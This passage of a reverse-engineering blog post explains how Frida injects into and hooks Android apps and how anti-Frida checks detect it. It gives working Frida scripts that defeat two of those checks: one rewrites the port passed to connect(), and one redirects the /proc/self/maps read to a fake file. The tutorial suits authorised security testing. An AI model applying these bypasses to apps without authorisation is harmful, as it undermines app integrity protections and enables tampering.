&lt;tr&gt;
&lt;td&gt;Kernel → Native&lt;/td&gt;
&lt;td&gt;Return value&lt;/td&gt;
&lt;td&gt;Syscall returns result in &lt;code&gt;x0&lt;/code&gt; register&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;2. What Happens When Frida Hooks an App?&lt;/h2&gt;
&lt;h3&gt;Frida Injection Process&lt;/h3&gt;
&lt;p&gt;When you run &lt;code&gt;frida -U -f com.app.target -l script.js&lt;/code&gt;, here&apos;s what happens:&lt;/p&gt;
&lt;p&gt;When you run Frida, the &lt;strong&gt;frida-server&lt;/strong&gt; first receives commands from your PC while listening on port 27042 (the default port). It then spawns or attaches to the target process using &lt;code&gt;ptrace()&lt;/code&gt; to gain control. Next, it injects &lt;strong&gt;frida-agent-64.so&lt;/strong&gt; into the target process, which creates several artifacts in memory: &lt;code&gt;frida-agent-64.so&lt;/code&gt; (main Frida agent library), &lt;code&gt;frida-gadget.so&lt;/code&gt; (embedded gadget for spawn mode), &lt;code&gt;libfrida-gum.so&lt;/code&gt; (Frida&apos;s hooking engine), &lt;code&gt;[anon:gum-js-loop]&lt;/code&gt; (V8 JavaScript runtime memory), and various &lt;code&gt;[anon:frida-*]&lt;/code&gt; allocations. These all appear in &lt;code&gt;/proc/self/maps&lt;/code&gt; (we will learn about this file later).&lt;/p&gt;
&lt;p&gt;Frida&apos;s &lt;strong&gt;Gum engine&lt;/strong&gt; then hooks functions by modifying memory. For example, before hooking, &lt;code&gt;connect()&lt;/code&gt; might have original instructions like &lt;code&gt;FF 43 00 91&lt;/code&gt; and &lt;code&gt;FD 7B BF A9&lt;/code&gt;. After hooking, these are replaced with &lt;code&gt;50 00 00 58&lt;/code&gt; (&lt;code&gt;LDR X16, #8&lt;/code&gt;), &lt;code&gt;00 02 1F D6&lt;/code&gt; (&lt;code&gt;BR X16&lt;/code&gt; - jump to trampoline), followed by the address of the hook handler. This means &lt;strong&gt;memory is modified&lt;/strong&gt;. Finally, your JavaScript runs in the V8 engine inside the process, where &lt;code&gt;Java.perform()&lt;/code&gt; uses ART internals for Java hooks.&lt;/p&gt;
&lt;h3&gt;Java Runtime Side (ART)&lt;/h3&gt;
&lt;p&gt;When you use &lt;code&gt;Java.perform()&lt;/code&gt; in Frida:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Java.perform(function() {
    var Activity = Java.use(&quot;android.app.Activity&quot;);
    Activity.onCreate.implementation = function(bundle) {
        console.log(&quot;onCreate hooked&quot;);
        this.onCreate(bundle);
    };
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Frida interacts with &lt;strong&gt;ART (Android Runtime)&lt;/strong&gt; internals:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Uses &lt;code&gt;art::Runtime&lt;/code&gt; to access class definitions&lt;/li&gt;
&lt;li&gt;Modifies &lt;strong&gt;ArtMethod&lt;/strong&gt; structures to redirect method calls&lt;/li&gt;
&lt;li&gt;Replaces method entry points with trampoline code&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Native Side (libc, linker64)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Q: What is linker64?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A: Android&apos;s dynamic linker for 64-bit. It&apos;s responsible for loading all .so libraries at runtime.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;When you use &lt;code&gt;Interceptor.attach()&lt;/code&gt; in Frida:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Interceptor.attach(Module.findExportByName(&quot;libc.so&quot;, &quot;open&quot;), {
    onEnter: function(args) { console.log(&quot;open called&quot;); }
});

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Frida&apos;s &lt;strong&gt;Gum engine&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Finds function address in memory&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overwrites first instructions&lt;/strong&gt; with jump to trampoline&lt;/li&gt;
&lt;li&gt;Saves original bytes for calling the real function&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Important Frida Artifacts&lt;/h3&gt;
&lt;p&gt;These are the artificats that Frida leaves behind when hooking the app APIs or when even idle.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Artifact&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;Detection Method&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Port &lt;code&gt;27042&lt;/code&gt; listening&lt;/td&gt;
&lt;td&gt;Network&lt;/td&gt;
&lt;td&gt;&lt;code&gt;connect()&lt;/code&gt; to localhost:27042&lt;/td&gt;
&lt;td&gt;frida-server binds to this default TCP port to receive commands from the Frida client on your PC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;frida-agent-64.so&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;/proc/self/maps&lt;/td&gt;
&lt;td&gt;String search for &quot;frida&quot;&lt;/td&gt;
&lt;td&gt;The main Frida agent library injected into the target process to execute JavaScript hooks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Modified function bytes&lt;/td&gt;
&lt;td&gt;&lt;code&gt;libc.so&lt;/code&gt; in memory&lt;/td&gt;
&lt;td&gt;Checksum disk vs memory&lt;/td&gt;
&lt;td&gt;Frida&apos;s Interceptor overwrites function prologues with trampolines (LDR X16; BR X16) to redirect execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/data/local/tmp/re.frida.server&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Filesystem&lt;/td&gt;
&lt;td&gt;File existence check&lt;/td&gt;
&lt;td&gt;Directory created by frida-server to store temporary files, gadgets, and agent libraries&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h1&gt;Overview&lt;/h1&gt;
&lt;p&gt;This app has &lt;strong&gt;3 anti-frida detection mechanisms&lt;/strong&gt; implemented in its native library &lt;code&gt;libantifrida.so&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Check 1: Frida Port Detection (27042)&lt;/strong&gt; — Detects Frida by attempting to connect to port &lt;code&gt;27042&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Check 2: Frida Artifacts in maps&lt;/strong&gt; — Scans &lt;code&gt;/proc/self/maps&lt;/code&gt; for Frida-related strings.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Check 3: libc Checksum Detection&lt;/strong&gt; — Compares in-memory &lt;code&gt;libc&lt;/code&gt; bytes against to the one in the disk to detect tampering. (We will cover this later in another blog).&lt;/p&gt;
&lt;p&gt;:::tip&lt;/p&gt;
&lt;p&gt;Anti-frida code often lives in the &lt;strong&gt;Native Level&lt;/strong&gt; because:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Harder to reverse engineer than Java (no easy decompilation)&lt;/li&gt;
&lt;li&gt;Can use direct syscalls to bypass Frida&apos;s libc hooks&lt;/li&gt;
&lt;li&gt;Lower-level = more control, fewer abstraction layers to trust&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;:::&lt;/h2&gt;
&lt;h1&gt;Check 1: Frida Port Detection (Port 27042)&lt;/h1&gt;
&lt;h2&gt;Technical Deep Dive&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;This detection exploits the fact that &lt;code&gt;frida-server&lt;/code&gt; binds to &lt;strong&gt;TCP port 27042&lt;/strong&gt; on localhost (&lt;code&gt;127.0.0.1&lt;/code&gt;) by default. The detection code uses the &lt;code&gt;connect()&lt;/code&gt; libc function—which internally triggers the &lt;code&gt;SYS_connect&lt;/code&gt; syscall. On ARM64 Android, the anti-frida library calls &lt;code&gt;connect()&lt;/code&gt; with a &lt;code&gt;sockaddr_in&lt;/code&gt; structure containing &lt;code&gt;sin_family = AF_INET (2)&lt;/code&gt;, &lt;code&gt;sin_addr = 127.0.0.1&lt;/code&gt;, and &lt;code&gt;sin_port = 27042&lt;/code&gt; in network byte order. Network byte order is big-endian, so port 27042 (hex &lt;code&gt;0x69A2&lt;/code&gt;) becomes &lt;code&gt;0xA269&lt;/code&gt; when the bytes are swapped. The detection reads the port from &lt;code&gt;sockaddr_in&lt;/code&gt; at offset +2 bytes from the structure base (after the 2-byte &lt;code&gt;sin_family&lt;/code&gt; field). If &lt;code&gt;connect()&lt;/code&gt; returns 0 (success), it means something is listening on that port—likely Frida.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::note
This is check is not that &lt;strong&gt;advanced&lt;/strong&gt;, however, still a pain in the bass.
:::&lt;/p&gt;
&lt;h2&gt;How the detection works&lt;/h2&gt;
&lt;p&gt;The anti-frida code first creates a TCP socket using &lt;code&gt;socket(AF_INET, SOCK_STREAM, 0)&lt;/code&gt;. It then fills a &lt;code&gt;sockaddr_in&lt;/code&gt; structure with &lt;code&gt;sin_family = AF_INET&lt;/code&gt;, &lt;code&gt;sin_addr = 127.0.0.1&lt;/code&gt;, and &lt;code&gt;sin_port = 27042&lt;/code&gt; (in network byte order). Next, it calls &lt;code&gt;connect(fd, &amp;amp;addr, sizeof(addr))&lt;/code&gt; to attempt a connection. If &lt;code&gt;connect()&lt;/code&gt; returns 0 (success), &lt;code&gt;Frida&lt;/code&gt; is detected because something is listening on that port. If it returns -1 (fail), no Frida is detected.&lt;/p&gt;
&lt;p&gt;:::caution
&lt;code&gt;27042&lt;/code&gt; is &lt;strong&gt;not&lt;/strong&gt; the &lt;strong&gt;only&lt;/strong&gt; port that a &lt;code&gt;developer&lt;/code&gt; can search for, so you need to read/understand the code to figure out if there is any &lt;code&gt;port&lt;/code&gt; configured by the devleopered to be scanned as well.
:::&lt;/p&gt;
&lt;h2&gt;The Bypass&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Our bypass hooks &lt;code&gt;connect()&lt;/code&gt; in &lt;code&gt;libc.so&lt;/code&gt;, intercepts the call, reads the port from the sockaddr structure using pointer arithmetic, converts it from network to host byte order using &lt;code&gt;((port &amp;amp; 0xff) &amp;lt;&amp;lt; 8) | (port &amp;gt;&amp;gt; 8)&lt;/code&gt;, and if it matches 27042, we change it to a random port like 1337, causing the connection to fail harmlessly.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Find the memory address of the &apos;connect&apos; function in libc.so
var connectPtr = Module.findExportByName(&quot;libc.so&quot;, &quot;connect&quot;);

// Create a callable wrapper for the original connect function
var connect = new NativeFunction(connectPtr, &apos;int&apos;, [&apos;int&apos;, &apos;pointer&apos;, &apos;int&apos;]);

// Replace connect() with our custom implementation
Interceptor.replace(connectPtr, new NativeCallback(function(fd, addr, len) {
    // Read address family (AF_INET = 2)
    var family = addr.readU16();

    // Read port from sockaddr_in structure (offset +2 bytes)
    // Port is in network byte order (big-endian)
    var port = addr.add(2).readU16();

    // Convert network byte order to host byte order (swap bytes)
    port = ((port &amp;amp; 0xff) &amp;lt;&amp;lt; 8) | (port &amp;gt;&amp;gt; 8);

    // If trying to connect to Frida&apos;s default port...
    if(port == 27042){
        console.error(`[+] Bypassing frida port check...`);

        // Change to a different port (27043 or any unused port)
        var tmp = ((27043 &amp;gt;&amp;gt; 8) &amp;amp; 0xff) | ((27043 &amp;amp; 0xff) &amp;lt;&amp;lt; 8);
        addr.add(2).writeU16(tmp);
    }

    // Call original connect with (possibly modified) parameters
    var retval = connect(fd, addr, len);
    return retval;
}, &apos;int&apos;, [&apos;int&apos;, &apos;pointer&apos;, &apos;int&apos;]));


&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Understanding The Byte Order&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Port &lt;code&gt;27042&lt;/code&gt; in hexadecimal is &lt;code&gt;0x69A2&lt;/code&gt;. In &lt;strong&gt;network order (big-endian)&lt;/strong&gt;, bytes are stored as &lt;code&gt;0x69 0xA2&lt;/code&gt; with the high byte first. In &lt;strong&gt;host order (little-endian)&lt;/strong&gt;, bytes are stored as &lt;code&gt;0xA2 0x69&lt;/code&gt; with the low byte first. The conversion formula &lt;code&gt;((port &amp;amp; 0xff) &amp;lt;&amp;lt; 8) | (port &amp;gt;&amp;gt; 8)&lt;/code&gt; works by: (1) extracting the low byte with &lt;code&gt;port &amp;amp; 0xff&lt;/code&gt;, (2) shifting it to the high position with &lt;code&gt;&amp;lt;&amp;lt; 8&lt;/code&gt;, (3) extracting the high byte with &lt;code&gt;port &amp;gt;&amp;gt; 8&lt;/code&gt;, and (4) combining both bytes with &lt;code&gt;|&lt;/code&gt;. The result is that the bytes are swapped.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::note
I hate assembly.
:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;Check 2: Frida Artifacts Detection (/proc/maps)&lt;/h1&gt;
&lt;h2&gt;Technical Deep Dive&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;This detection abuses the Linux &lt;code&gt;/proc&lt;/code&gt; filesystem, specifically &lt;code&gt;/proc/self/maps&lt;/code&gt;, which is a virtual file provided by the kernel that lists all memory-mapped regions of the current process. Each line contains: &lt;code&gt;start_addr-end_addr permissions offset dev inode pathname&lt;/code&gt;. When Frida injects &lt;code&gt;frida-agent-64.so&lt;/code&gt; into the target process, new memory regions appear with telltale names like &lt;code&gt;frida-agent&lt;/code&gt;, &lt;code&gt;frida-gadget&lt;/code&gt;, &lt;code&gt;libfrida-gum.so&lt;/code&gt;, or anonymous mappings named &lt;code&gt;[anon:gum-js-loop]&lt;/code&gt;. The anti-frida library bypasses libc entirely and uses direct syscalls via &lt;code&gt;SVC #0&lt;/code&gt; (ARM64 supervisor call instruction) to read this file—this is why we can&apos;t just hook &lt;code&gt;open()&lt;/code&gt; or &lt;code&gt;fopen()&lt;/code&gt; in libc. The library executes &lt;code&gt;openat&lt;/code&gt; (syscall 56) with register &lt;code&gt;x0=AT_FDCWD (-100)&lt;/code&gt;, &lt;code&gt;x1=pointer to &quot;/proc/self/maps&quot;&lt;/code&gt;, &lt;code&gt;x2=O_RDONLY&lt;/code&gt;. We find these syscall sites by disassembling &lt;code&gt;libantifrida.so&lt;/code&gt; using Radare2 with &lt;code&gt;/asj svc&lt;/code&gt; to locate all &lt;code&gt;SVC #0&lt;/code&gt; instructions and their offsets (e.g., &lt;code&gt;{&quot;addr&quot;:3868,&quot;name&quot;:&quot;openat&quot;,&quot;sysnum&quot;:56}&lt;/code&gt;).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Before understanding more about how this detection works, we need to understand more about &lt;code&gt;proc&lt;/code&gt; and about the &lt;code&gt;wrappers&lt;/code&gt; and &lt;code&gt;syscalls&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;What is /proc?&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;/proc&lt;/code&gt; filesystem is a &lt;strong&gt;virtual filesystem&lt;/strong&gt; in Linux that doesn&apos;t exist on disk—it&apos;s generated by the kernel in real-time to expose process and system information. Every running process has a directory &lt;code&gt;/proc/[pid]/&lt;/code&gt; containing information about it.&lt;/p&gt;
&lt;h3&gt;/proc/self/maps - Memory Map File&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;/proc/self/maps&lt;/code&gt; shows all memory regions mapped into the current process:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ADDRESS RANGE&lt;/strong&gt; (e.g., &lt;code&gt;749088f000-749098c000&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PERMS&lt;/strong&gt; (permissions)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OFFSET&lt;/strong&gt;, &lt;strong&gt;DEV&lt;/strong&gt; (device)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;INODE&lt;/strong&gt;, and &lt;strong&gt;PATHNAME&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For example: &lt;code&gt;749088f000-749098c000 r--p 00000000 fd:00 123456 /system/lib64/libc.so&lt;/code&gt;.
The permissions field uses the following notation: &lt;code&gt;r&lt;/code&gt; = readable, &lt;code&gt;w&lt;/code&gt; = writable, &lt;code&gt;x&lt;/code&gt; = executable, &lt;code&gt;p&lt;/code&gt; = private, and &lt;code&gt;s&lt;/code&gt; = shared. This file is useful because it shows &lt;strong&gt;every loaded library&lt;/strong&gt; (including &lt;code&gt;frida-agent-64.so&lt;/code&gt;), shows &lt;strong&gt;anonymous mappings&lt;/strong&gt; (including &lt;code&gt;[anon:gum-js-loop]&lt;/code&gt;), and cannot be hidden from the kernel—it always shows the truth.&lt;/p&gt;
&lt;h3&gt;/proc/self/status - Process Status File&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;/proc/self/status&lt;/code&gt; provides detailed process information in a human-readable format:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Name&lt;/strong&gt; (&lt;code&gt;com.example.app&lt;/code&gt;) which is the process name&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;State&lt;/strong&gt; (&lt;code&gt;S (sleeping)&lt;/code&gt;) showing the current state&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tgid&lt;/strong&gt; (&lt;code&gt;12345&lt;/code&gt;) the thread group ID (PID)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pid&lt;/strong&gt; (&lt;code&gt;12345&lt;/code&gt;) the process ID&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PPid&lt;/strong&gt; (&lt;code&gt;1234&lt;/code&gt;) the parent process ID&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TracerPid&lt;/strong&gt; (&lt;code&gt;0&lt;/code&gt;) indicating who is tracing the process&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Uid&lt;/strong&gt; (&lt;code&gt;10123 10123 10123 10123&lt;/code&gt;) the user IDs&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gid&lt;/strong&gt; (&lt;code&gt;10123 10123 10123 10123&lt;/code&gt;) the group IDs&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VmSize&lt;/strong&gt; (&lt;code&gt;1234567 kB&lt;/code&gt;) the virtual memory size&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VmRSS&lt;/strong&gt; (&lt;code&gt;12345 kB&lt;/code&gt;) the resident memory&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Threads&lt;/strong&gt; (&lt;code&gt;15&lt;/code&gt;) the number of threads.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::tip
For &lt;strong&gt;debugging/frida detection&lt;/strong&gt;, the key field is &lt;code&gt;TracerPid&lt;/code&gt;: if it&apos;s non-zero, something is debugging/tracing this process. When Frida attaches via ptrace, &lt;code&gt;TracerPid&lt;/code&gt; will equal frida-server&apos;s PID.
:::&lt;/p&gt;
&lt;h3&gt;What is a Wrapper Function?&lt;/h3&gt;
&lt;p&gt;A &lt;strong&gt;wrapper&lt;/strong&gt; is a convenient function in &lt;code&gt;libc.so&lt;/code&gt; that prepares arguments and calls the kernel:&lt;/p&gt;
&lt;p&gt;When your code calls &lt;code&gt;open(&quot;/proc/maps&quot;, 0)&lt;/code&gt;, it goes through &lt;strong&gt;libc.so&apos;s wrapper function&lt;/strong&gt; before reaching the kernel. The wrapper performs several tasks: it validates the arguments, then sets up the CPU registers with the appropriate values—&lt;code&gt;x0 = AT_FDCWD&lt;/code&gt;, &lt;code&gt;x1 = &quot;/proc/maps&quot;&lt;/code&gt;, &lt;code&gt;x2 = O_RDONLY&lt;/code&gt;, and &lt;code&gt;x8 = 56&lt;/code&gt; (the syscall number). Finally, it executes the &lt;code&gt;SVC #0&lt;/code&gt; instruction to trigger the kernel&apos;s syscall handler.
&lt;code&gt;Frida&lt;/code&gt; can hook the libc wrapper function, but it &lt;strong&gt;cannot&lt;/strong&gt; hook inside the kernel itself.&lt;/p&gt;
&lt;h3&gt;What is a Syscall?&lt;/h3&gt;
&lt;p&gt;A &lt;code&gt;syscall&lt;/code&gt; (system call) is the interface between userspace and the kernel. On ARM64 (it differs depending on the arch):&lt;/p&gt;
&lt;p&gt;On &lt;code&gt;ARM64&lt;/code&gt;, syscalls use specific registers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;x8&lt;/code&gt; holds the syscall number (which kernel function to call)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;x0-x5&lt;/code&gt; hold the arguments (1st through 6th), and the &lt;code&gt;SVC #0&lt;/code&gt; instruction (Supervisor Call) triggers kernel mode. After the syscall returns&lt;/li&gt;
&lt;li&gt;&lt;code&gt;x0&lt;/code&gt; contains the return value.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Resource:&lt;/strong&gt;: &lt;a href=&quot;https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#arm64-64_bit&quot;&gt;syscalls.md&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Common syscalls include: &lt;code&gt;56 (openat)&lt;/code&gt; to open a file relative to a directory fd, &lt;code&gt;57 (close)&lt;/code&gt; to close a file descriptor, &lt;code&gt;62 (lseek)&lt;/code&gt; to move the file read/write position, &lt;code&gt;63 (read)&lt;/code&gt; to read bytes from a file descriptor, and &lt;code&gt;64 (write)&lt;/code&gt; to write bytes to a file descriptor.&lt;/p&gt;
&lt;p&gt;:::warning
do not forget to check for the arch you are using :&quot;D
:::&lt;/p&gt;
&lt;h3&gt;Why Anti-Frida Code Uses Direct Syscalls&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Normal App (Uses libc Wrapper):&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When a normal app calls &lt;code&gt;int fd = open(&quot;/proc/self/maps&quot;, O_RDONLY);&lt;/code&gt;, the execution flow is: &lt;code&gt;Code → libc.so::open() → SVC #0 → Kernel&lt;/code&gt;. Frida hooks at the &lt;code&gt;libc.so::open()&lt;/code&gt; level, where it can see arguments, modify them, and log calls.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Anti-Frida Code (Direct Syscall):&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Anti-frida code bypasses libc entirely by using inline assembly:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov x8, #56           // syscall number for openat
mov x0, #-100         // AT_FDCWD
ldr x1, =&quot;/proc/self/maps&quot;
mov x2, #0            // O_RDONLY
svc #0                // Direct to kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The execution flow becomes: &lt;code&gt;Code → SVC #0 → Kernel&lt;/code&gt;. Frida &lt;strong&gt;cannot hook by name&lt;/strong&gt; because there is no function name—just a raw instruction. You must hook the SVC instruction itself at a specific offset.&lt;/p&gt;
&lt;p&gt;so the solution was to find &lt;code&gt;SVC #0&lt;/code&gt; offsets in &lt;code&gt;libantifrida.so&lt;/code&gt; using Radare2:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;r2 libantifrida.so
/asj svc    # Search for all SVC instructions
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Example output: &lt;code&gt;{&quot;addr&quot;:3868,&quot;name&quot;:&quot;openat&quot;,&quot;sysnum&quot;:56}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Then hook using: &lt;code&gt;Interceptor.attach(base.add(3868), {...})&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;:::warning
do not forget the base address :&quot;D
:::&lt;/p&gt;
&lt;h2&gt;How the detection works&lt;/h2&gt;
&lt;p&gt;When Frida injects into a process, it loads libraries and creates memory regions that appear in &lt;code&gt;/proc/self/maps&lt;/code&gt;. Anti-frida code scans this file looking for telltale strings.&lt;/p&gt;
&lt;h3&gt;What Frida leaves behind in memory maps&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;  Normal entries...
  7a1234000-7a1235000 r-xp  /system/lib64/libc.so
  ...

  ╔════════════════════════════════════════════════════════════╗
  ║  FRIDA ARTIFACTS - THESE REVEAL FRIDA IS PRESENT           ║
  ╠════════════════════════════════════════════════════════════╣
  ║  7b5000000-7b5100000 r-xp  frida-agent-64.so               ║
  ║  7b5100000-7b5200000 rw-p  frida-agent-64.so               ║
  ║  7b6000000-7b6001000 r--p  frida-gadget.so                 ║
  ║  7b7000000-7b7010000 rw-p  [anon:gum-js-loop]              ║
  ║  7b8000000-7b8100000 r-xp  libfrida-gum.so                 ║
  ╚════════════════════════════════════════════════════════════╝


&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Detection Flow&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The &lt;strong&gt;artifacts detection flow&lt;/strong&gt; works as follows: The anti-frida code first calls &lt;code&gt;openat(&quot;/proc/self/maps&quot;)&lt;/code&gt; to open the memory maps file. It then uses &lt;code&gt;read()&lt;/code&gt; to process the file line by line. For each line, it searches for suspicious strings including &lt;code&gt;&quot;frida&quot;&lt;/code&gt;, &lt;code&gt;&quot;gadget&quot;&lt;/code&gt;, &lt;code&gt;&quot;gum-js-loop&quot;&lt;/code&gt;, and &lt;code&gt;&quot;frida-agent&quot;&lt;/code&gt;. If any of these strings are &lt;strong&gt;found&lt;/strong&gt;, Frida is &lt;strong&gt;detected&lt;/strong&gt;. If &lt;strong&gt;not found&lt;/strong&gt;, the app concludes there is no Frida present.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;The Bypass&lt;/h2&gt;
&lt;p&gt;Actually in here we got 2 Strategies, we will dive into each one of them alone. Lets see which one will work.&lt;/p&gt;
&lt;h2&gt;Strategy 1&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;This  bypass hooks these specific offsets using &lt;code&gt;Interceptor.attach(base_addr.add(offset), {...})&lt;/code&gt;. In the &lt;code&gt;onEnter&lt;/code&gt; callback, we check if &lt;code&gt;x1&lt;/code&gt; contains &lt;code&gt;&quot;self/maps&quot;&lt;/code&gt; and redirect it to &lt;code&gt;/data/local/tmp/maps&lt;/code&gt;—a fake maps file we created that contains no Frida artifacts.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;SO, we will:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Run the app with &lt;code&gt;frida&lt;/code&gt; attached, no scripts attached, dump the maps file.&lt;/li&gt;
&lt;li&gt;Transfer the &lt;code&gt;maps&lt;/code&gt; file to your PC and &lt;code&gt;replace&lt;/code&gt; all strings that has the string &lt;code&gt;frida&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Push back the &lt;code&gt;maps&lt;/code&gt; file to &lt;code&gt;/data/local/tmp/maps&lt;/code&gt; and give it &lt;code&gt;chmod 777&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Spawn&lt;/code&gt; the app with the solver &lt;code&gt;script&lt;/code&gt; below.&lt;/li&gt;
&lt;li&gt;When anti-frida opens &lt;code&gt;/proc/self/maps&lt;/code&gt;, redirect to our &lt;code&gt;fake&lt;/code&gt; file.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Inside the syscall hook for openat (syscall 56)
case 56:
    // Check if opening /proc/self/maps
    if(this.context.x1.readCString().indexOf(&quot;self/maps&quot;) &amp;gt;= 1){
        console.error(`[+] bypassing maps...`);
        // Redirect to our clean fake maps file
        this.context.x1.writeUtf8String(&quot;/data/local/tmp/maps&quot;);
    }
    break;

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Bypass Flow&lt;/h3&gt;
&lt;p&gt;When the anti-frida code calls &lt;code&gt;openat(&quot;/proc/self/maps&quot;)&lt;/code&gt;, our Frida hook intercepts the call. The hook checks if the path contains &lt;code&gt;&quot;self/maps&quot;&lt;/code&gt;, and if so, redirects it to &lt;code&gt;&quot;/data/local/tmp/maps&quot;&lt;/code&gt;. This causes the actual syscall to open our fake maps file instead.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;fake maps file contents&lt;/strong&gt; contain only normal entries with no Frida strings:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;7a1234000-7a1235000 /system/libc.so
... normal entries only ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the app searches for &lt;code&gt;&quot;frida&quot;&lt;/code&gt; in the redirected file, it finds &lt;strong&gt;nothing&lt;/strong&gt;. The app concludes: &lt;em&gt;&quot;No Frida detected&quot;&lt;/em&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;However, this is not what happened :&quot;(, the app kept &lt;code&gt;crashing&lt;/code&gt;, or stuck at the &lt;code&gt;splash&lt;/code&gt; screen. Thats why we made &lt;code&gt;Strategy 2&lt;/code&gt; :&quot;D
My thought is this is happening as we are forcing the system to read the maps file  from another directory, while the frida logs show that it does open it, it takes too long to show that it closed it, which why something went wrong inside while reading/parsing it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;Strategy 2&lt;/h2&gt;
&lt;blockquote&gt;
